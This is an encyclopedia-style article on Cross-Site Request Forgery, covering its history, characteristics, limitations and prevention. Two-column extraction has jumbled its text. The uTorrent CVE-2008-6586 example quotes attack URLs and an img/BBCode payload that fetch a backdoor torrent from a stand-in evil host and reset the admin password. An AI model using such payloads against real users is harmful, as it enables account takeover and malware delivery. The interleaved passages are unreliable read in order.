Cross-Site Request Forgery
Cross-Site Request Forgery
1 History
CSRF vulnerabilities have been known and in some cases
exploited since 2001.[3] Because it is carried out from the
user’s IP address, some website logs might not have ev-
idence of CSRF.[2] Exploits are under-reported, at least A National Vulnerability Database page describing a CSRF vul-
publicly, and as of 2007[4] there are few well-documented nerability
examples:
• The Netflix website in 2006 had numerous vulner- Force a .torrent file download http://localhost:
abilities to CSRF, which could have allowed an at- 8080/gui/?action=add-url&s=http://evil.example.
tacker to perform actions such as adding a DVD to com/backdoor.torrent
the victim’s rental queue, changing the shipping ad-
dress on the account, or altering the victim’s login Change uTorrent administrator password
credentials to fully compromise the account.[5] http://localhost:8080/gui/?action=setsetting&
s=webui.password&v=eviladmin
• The online banking web application of ING Direct
was vulnerable to a CSRF attack that allowed illicit
money transfers.[6] Attacks were launched by placing malicious, automatic-
action HTML image elements on forums and email spam,
• Popular video website YouTube was also vulnerable so that browsers visiting these pages would open them au-
to CSRF in 2008 and this allowed any attacker to tomatically, without much user action. People running
perform nearly all actions of any user.[6] vulnerable uTorrent version at the same time as opening
• McAfee was also vulnerable to CSRF and it allowed these pages were susceptible to the attack.
attackers to change their company system.[7] <img src="http://localhost:8080/gui/?action=add-url&
s=http://evil.example.com/backdoor.torrent">
2 Example and characteristics CSRF attacks using image tags are often made from
Internet forums, where users are allowed to post images
Attackers who can find a reproducible link that executes but not JavaScript, for example using BBCode:
a specific action on the target page while the victim is
logged in can embed such link on a page they control [img]http://localhost:8080/gui/?action=add-url&
and trick the victim into opening it.[1] The attack carrier s=http://evil.example.com/backdoor.torrent{[}/img]
link may be placed in a location that the victim is likely
to visit while logged into the target site (for example, a When accessing the attack link to the local uTorrent ap-
discussion forum), or sent in a HTML email body or at- plication at localhost:8080, the browser would also always
tachment. A real CSRF vulnerability in uTorrent (CVE- automatically send any existing cookies for that domain.
2008-6586) exploited the fact that its web console acces- This general property of web browsers enables CSRF at-
sible at localhost:8080 allowed mission-critical actions to tacks to exploit their targeted vulnerabilities and execute
be executed as a matter of simple GET request: hostile actions as long as the user is logged into the target
1
2 5 OTHER APPROACHES TO CSRF
website (in this example, the local uTorrent web inter- 4 HTTP verbs and CSRF
face) at the time of the attack.
A cross-site request forgery is a confused deputy attack Different HTTP request methods have different level of
against a web browser. The deputy in the bank example susceptibility to CSRF attacks and require different lev-
is Alice’s web browser, which is confused into misusing els of protection due to their different handling by web
Alice’s authority at Mallory’s direction. browsers.
CSRF commonly has the following characteristics:
• In HTTP GET the CSRF exploitation is trivial,
using methods described above, such as a simple
• It involves sites that rely on a user’s identity. hyperlink containing manipulated parameters and
• It exploits the site’s trust in that identity. automatically loaded by a IMG tag. By the HTTP
specification however, GET should be used as a safe
• It tricks the user’s browser into sending HTTP re- method, that is, not significantly changing user’s
quests to a target site. state in the application. Applications using GET for
such operations should switch to HTTP POST or use
• It involves HTTP requests that have side effects. anti-CSRF protection.
was described[13] in 2009 by Nathan Hamiel and Shawn On the other hand, attack attempts are easy to mount and
Moyer at the BlackHat Briefings,[14] though the taxonomy invisible to victims, and application designers are less fa-
has yet to gain wider adoption. miliar with and prepared for CSRF attacks than they are
A new vector for composing dynamic CSRF attacks was for, say, password cracking dictionary attacks.
presented by Oren Ofer at a local OWASP chapter meet-
ing on January 2012 – “AJAX Hammer – Dynamic
CSRF”.[15][16] 8 Prevention
Most CSRF prevention techniques work by embedding
6 Effects additional authentication data into requests that allows the
web application to detect requests from unauthorized lo-
According to the United States Department of Homeland cations.
Security, the most dangerous CSRF vulnerability ranks
as the 909th most dangerous software bug ever found.[17]
Other severity metrics have been issued for CSRF vul- 8.1 Synchronizer token pattern
nerabilities that result in remote code execution with root
privileges[18] as well as a vulnerability that can compro- Synchronizer token pattern (STP) is a technique where a
mise a root certificate, which will completely undermine token, secret and unique value for each request, is embed-
a public key infrastructure.[19] ded by the web application in all HTML forms and ver-
ified on the server side. The token may be generated by
any method that ensures unpredictability and uniqueness
(e.g. using a hash chain of random seed). The attacker
7 Limitations is thus unable to place a correct token in their requests to
authenticate them.[1][20][21]
Several things have to happen for cross-site request
Example of STP set by Django in a HTML form:
forgery to succeed:
<input type="hidden” name="csrfmiddlewaretoken”
1. The attacker must target either a site that doesn't value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt” />
check the referrer header or a victim with a browser
or plugin that allows referer spoofing. STP is the most compatible as it only relies on HTML, but
introduces some complexity on the server side, due to the
2. The attacker must find a form submission at the tar- burden associated with checking validity of the token on
get site, or a URL that has side effects, that does each single request. As the token is unique and unpre-
something (e.g., transfers money, or changes the vic- dictable, it also enforces proper sequence of events (e.g.
tim’s e-mail address or password). screen 1, then 2, then 3) which raises usability problem
3. The attacker must determine the right values for all (e.g. user opens multiple tabs). It can be relaxed by us-
the forms or URL inputs; if any of them are required ing per session CSRF token instead of per request CSRF
to be secret authentication values or IDs that the at- token.
tacker can't guess, the attack will most likely fail (un-
less the attacker is extremely lucky in their guess).
8.2 Cookie-to-Header Token
4. The attacker must lure the victim to a web page with
malicious code while the victim is logged into the Web applications that use JavaScript for the majority of
target site. their operations may use an anti-CSRF technique that re-
lies on same-origin policy:
Note that the attack is blind; i.e., the attacker can't see
what the target website sends back to the victim in re- • On login, the web application sets a cookie contain-
sponse to the forged requests, unless they exploit a cross- ing a random token that remains the same for the
site scripting or other bug at the target website. Similarly, whole user session
the attacker can only target any links or submit any forms
that come up after the initial forged request if those sub- Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
sequent links or forms are similarly predictable. (Multi- expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-
ple targets can be simulated by including multiple images Age=31449600; Path=/
on a page, or by using JavaScript to introduce a delay be-
tween clicks.) • JavaScript operating on the client side reads its value
Given these constraints, an attacker might have difficulty and copies it into a custom HTTP header sent with
finding logged-in victims or attackable form submissions. each transactional request
4 9 SEE ALSO
[11] “Cross-Site Request Forgery For POST Requests With An • Cross-Site Request Forgery from The Web Ap-
XML Body”. pentestmonkey. Retrieved September 4, plication Security Consortium Threat Classification
2015. Project
[12] Sheeraj Shah (2008). “Web 2.0 Hacking Defending Ajax
& Web Services” (PDF). HITB. Retrieved September 4,
2015.
12.2 Images
• File:NVD-CVE-2007-1332.png Source: https://upload.wikimedia.org/wikipedia/commons/e/eb/NVD-CVE-2007-1332.png License:
Public domain Contributors: National Vulnerability Database (Source URL) Original artist: US-CERT/NIST